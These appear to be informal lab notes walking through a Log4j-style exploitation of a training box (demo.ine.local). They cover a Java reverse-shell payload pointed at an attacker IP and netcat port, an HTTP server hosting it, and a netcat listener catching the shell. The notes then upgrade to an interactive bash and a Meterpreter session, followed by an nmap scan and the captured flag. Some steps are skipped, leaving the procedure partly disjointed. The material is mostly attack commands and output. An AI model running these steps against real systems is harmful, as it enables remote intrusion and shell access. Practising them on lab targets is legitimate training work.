#Exploit: is the name of the exploit we will creat.
inside the poc.py there's the java code (in comment) copy it to a new Exploit.java file cuz this is the exploit. and fill in your String host="<attackerIP>";int port = <nc_port>;
2-compiling the exploit:
javac Exploit.java -source 8 -target 8
-source: Java version
-target: JDK version
1 warning don't worry about it
3- Setup the server to host the Exploit:
python -m SimpleHTTPServer 8080
8080 cuz that's the port we setup our ldap on.
4-Setup a listener to receive the conn from the target once it's exploited:
no reason to provide the extension ldap knows it by itself.
🎉Now in nc you received a conn. and now you have a reverse shell.🎉
you can spawn a bash shell:
python -c 'import pty;pty.spawn("/bin/bash")'
and of course, you can upgrade to a meterpreter shell:
use multi/handler
set LHOST <attacker_ip>
set LPORT <port in java code>
run
background
session -u 1 <-this uses shell2meterpreter module
Solving INE Box:
target: demo.ine.local
My IP: 192.10.137.2
Footprinting:
~# nmap -sV demo.ine.local
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-08 15:37 IST
Nmap scan report for demo.ine.local (192.10.137.3)
Host is up (0.0000090s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache Tomcat 8.5.3
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
runs Apache Tomcat while by default it doesn't really depend on Log4j but it can be config:
Apache Jserv interesting but not tatrget here I know this ver is vul.
root@INE:~# nc -nlvp 9999
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.10.137.3.
Ncat: Connection from 192.10.137.3:46500.
ls
FLAG
tomcat8
cat FLAG
33fbfa01ec2f791096f13e01988a164e